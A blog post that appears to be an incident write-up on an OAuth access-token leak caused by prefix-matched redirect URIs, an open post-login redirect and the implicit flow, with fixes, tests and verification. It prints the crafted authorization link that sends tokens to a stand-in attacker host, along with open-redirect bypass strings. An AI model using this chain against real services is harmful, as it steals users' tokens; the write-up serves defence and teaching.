OAuth token leak via prefix-matched redirect_uri and an open redirect in next
Our partner OAuth server matched redirect_uri by prefix, and our login page followed any next URL. Chained together with a legacy implicit flow, an access token could land on an outside domain. We moved to exact matching, relative-only next and code plus PKCE.
We run a merchant dashboard for card payments, and partners (accounting tools, shop plugins) connect to merchant accounts through our OAuth 2.0 authorization server. During a bug bounty triage in August, a researcher sent a report titled "access token delivered to attacker origin" with a single crafted link. When a logged-in merchant opened it, their browser ended up on a page outside our domain with a fragment like this in the address bar:
https://collector.attacker.example/#access_token=eyJhbGciOi...&token_type=Bearer&expires_in=3600&scope=payouts.read
The token had payouts.read scope for that merchant. The report was valid. No other parties had
used the chain as far as our logs could tell, but the impact was obvious: anyone who got a merchant
to click a link could read their payout history for an hour.
Reproducing it
The link was an authorization request for a legacy partner client that still used the implicit flow:
https://auth.example.com/oauth/authorize
?client_id=legacy-widget
&response_type=token
&redirect_uri=https://dashboard.example.com/login?next=//collector.attacker.example/
&scope=payouts.read
Step by step in a test tenant:
- The authorization server compared
redirect_uriwith the registered valuehttps://dashboard.example.com/usingstartsWith. It matched. - The merchant was already signed in and had previously approved the widget, so consent was skipped
and the server redirected to the
redirect_uriwith the token in the fragment. - Our login page saw an authenticated session and redirected to the
nextvalue,//collector.attacker.example/. - The browser carried the fragment across that second redirect, so the attacker's page could read
it from
location.hash.
What we ruled out
- A stolen session cookie. The session cookie is
HttpOnlyandSameSite=Lax, and nothing in the chain read it. The token was minted legitimately and handed over by the redirects. - A compromised partner. The
legacy-widgetclient secret was not involved; the implicit flow does not use one. - XSS on the dashboard. No script ran on our origin. Both redirects were plain HTTP 302s.
Root cause
Two independent weaknesses, each rated "low" on its own when we had looked at them separately:
- The authorization server validated
redirect_uriby string prefix instead of exact match. - The login page's
nexthandler accepted protocol-relative URLs (//host/...), because the check only rejected values starting withhttp:orhttps:.
The legacy implicit flow turned the combination into token theft, because fragments survive redirects.
What is happening under the hood
When a server answers with a 3xx and the Location header has no fragment, the browser keeps the
fragment from the original URL (RFC 9110, section 10.2.2). The implicit flow returns tokens in the
fragment precisely so they are not sent to servers, but an open redirect on the client's registered
origin forwards that fragment to any site the attacker chooses.
//collector.attacker.example/ is a valid relative reference that inherits the scheme from the
current page. Many "is this URL local" checks look for a scheme and miss it. Variants like
/\collector.attacker.example are also treated as hosts by browsers, which normalise the backslash.
The OAuth 2.0 Security Best Current Practice (RFC 9700) addresses exactly this: authorization servers must use exact string matching for redirect URIs (with a narrow exception for localhost ports in native apps), clients and authorization servers must not expose open redirectors, and the implicit grant should not be used.
Environment
| Component | Version / value |
|---|---|
| OS | Ubuntu 24.04 LTS containers |
| Runtime | Node.js 22.18 |
| Framework | Express 5.1 |
| Authorization server | In-house, built on Express and jose 6 |
| Affected client | legacy-widget (public client, implicit flow) |
| Other clients | 41 partner clients using authorization code |
Minimal reproduction
// Authorization server: BROKEN redirect check
function isAllowedRedirect(client: Client, uri: string) {
return client.redirectUris.some((registered) => uri.startsWith(registered));
}
// Dashboard login: BROKEN next handling
app.get('/login', (req, res) => {
const next = String(req.query.next ?? '/');
if (req.session.userId) {
if (/^https?:/i.test(next)) return res.redirect('/');
return res.redirect(next); // "//attacker.example/" passes
}
res.render('login', { next });
});
Who is affected
Any OAuth or OIDC deployment that does partial matching of redirect URIs (prefix, wildcard
subdomains, regexes) and any web app with a post-login next, returnTo or continue parameter.
The fragment variant needs the implicit flow or response_mode=fragment; with the code flow, the
same chain can still leak a code through a redirect, which PKCE then makes useless to the thief.
The fix
1. Exact redirect URI matching. Registered URIs are now stored normalised and compared as exact strings. Partners register every callback explicitly.
function isAllowedRedirect(client: Client, uri: string): boolean {
return client.redirectUris.includes(uri);
}
We migrated 41 clients by exporting the distinct redirect_uri values each had used in the last
180 days and registering those, then emailing partners two weeks before enforcement.
2. Retire the implicit flow. legacy-widget moved to authorization code with PKCE. The
authorization server now rejects response_type=token for every client and requires
code_challenge_method=S256 for public clients.
if (req.query.response_type !== 'code') {
return oauthError(res, 'unsupported_response_type');
}
if (client.type === 'public' && req.query.code_challenge_method !== 'S256') {
return oauthError(res, 'invalid_request', 'PKCE with S256 is required');
}
3. Relative-path-only next. We parse the value against our own origin and accept it only if
the origin is unchanged and it is a plain path:
const APP_ORIGIN = 'https://dashboard.example.com';
export function safeNext(raw: unknown, fallback = '/'): string {
if (typeof raw !== 'string' || raw.length > 2048) return fallback;
if (!raw.startsWith('/') || raw.startsWith('//') || raw.includes('\\')) return fallback;
let url: URL;
try {
url = new URL(raw, APP_ORIGIN);
} catch {
return fallback;
}
if (url.origin !== APP_ORIGIN) return fallback;
return url.pathname + url.search + url.hash;
}
- if (/^https?:/i.test(next)) return res.redirect('/');
- return res.redirect(next);
+ return res.redirect(safeNext(req.query.next));
4. Bind state to the session. Clients we control now generate a random state, store it in the
session and compare it on return, and our partner guide requires the same.
Alternatives and trade-offs
- Allowlist of next destinations (named routes like
payouts,settings) instead of paths. Stricter and simpler to reason about; we use it for emails, where links are generated by us. - Keep prefix matching but require a path boundary. Still fragile: query strings, encoded characters and path tricks keep finding new edges. RFC 9700 says exact match for a reason.
- Interstitial "you are leaving" page for external links. Useful elsewhere, but it does not stop fragment carry-over if the page itself redirects.
How to test the fix
import { describe, it, expect } from 'vitest';
import { safeNext } from './safe-next';
describe('safeNext', () => {
it.each([
['//attacker.example/', '/'],
['/\\attacker.example', '/'],
['https://attacker.example', '/'],
['javascript:alert(1)', '/'],
['%2F%2Fattacker.example', '/'],
['/payouts?page=2', '/payouts?page=2'],
])('%s -> %s', (input, expected) => {
expect(safeNext(input)).toBe(expected);
});
});
An integration test drives the authorization endpoint with a redirect_uri that adds a path or a
query to a registered URI and expects invalid_request without any redirect:
curl -s -o /dev/null -w '%{http_code} %{redirect_url}\n' \
'https://auth.staging.example.com/oauth/authorize?client_id=acme-books&response_type=code&redirect_uri=https%3A%2F%2Facme.example%2Fcb%3Fx%3D1&code_challenge=abc&code_challenge_method=S256'
# expected: 400 with an empty redirect_url
Confirming in production
- The researcher's original link now stops at the authorization server with an error page; no redirect is issued.
- Authorization server logs show
redirect_uri_mismatcherrors from three partners on enforcement day; all were fixed within 48 hours after we shared their exact failing values. response_type=tokenrequests dropped to zero after the widget release; the 312 attempts in the following week came from cached old widget bundles and were all rejected.- Searching 12 months of logs for authorize requests whose
redirect_uridid not exactly equal a registered value found 19, all from the researcher's test accounts.
Regression guard
- The
safeNexttable test and the redirect URI tests run in CI. - A lint rule bans
res.redirect(req.query.*)andres.redirect(req.body.*)without passing throughsafeNext. - The client registration API rejects wildcard characters and requires
https(except loopback for native apps).
Security implications
This was a token leakage bug with real impact for merchants who clicked a crafted link. The fixes
reduce attack surface on both sides: the authorization server no longer hands tokens to unregistered
URIs, the dashboard no longer acts as an open redirector, and PKCE makes an intercepted code
unredeemable. We revoked all tokens issued to legacy-widget during the exposure window as a
precaution.
Prevention checklist
- Match redirect URIs exactly; no prefixes, wildcards or regexes.
- Use authorization code with PKCE for every client; disable the implicit grant.
- Validate post-login destinations as same-origin relative paths, with tests for
//and\. - Review "low" findings as chains, not in isolation.
- Bind
stateto the user's session and verify it.
References
- RFC 9700: Best Current Practice for OAuth 2.0 Security — https://www.rfc-editor.org/rfc/rfc9700.html
- RFC 7636: Proof Key for Code Exchange (PKCE) — https://www.rfc-editor.org/rfc/rfc7636.html
- RFC 9110, section 10.2.2: Location — https://www.rfc-editor.org/rfc/rfc9110.html
- OWASP Unvalidated Redirects and Forwards Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html
Add a label
Embed this post
<iframe src="https://hibug.me/oauth-open-redirect-redirect-uri-next-param" width="700" height="420" frameborder="0" loading="lazy"></iframe>
I have spent most of my career on the side of software that pages people at night: payment integrations, web platforms with real traffic, CI/CD pipelines, Kubernetes clusters and the databases underneath them. Somewhere along the way I started keeping a notebook of every bug that cost more than an hour — the exact error, what we ruled out, the real root cause and how we proved the fix. Hibug is where those notes live. Every post follows the same path: Investigate, Explain, Fix, Verify — with the environment spelled out, the fix tested, and the security angle checked.
Comments
0No comments yet. Be the first to comment!
Sign In to post a comment.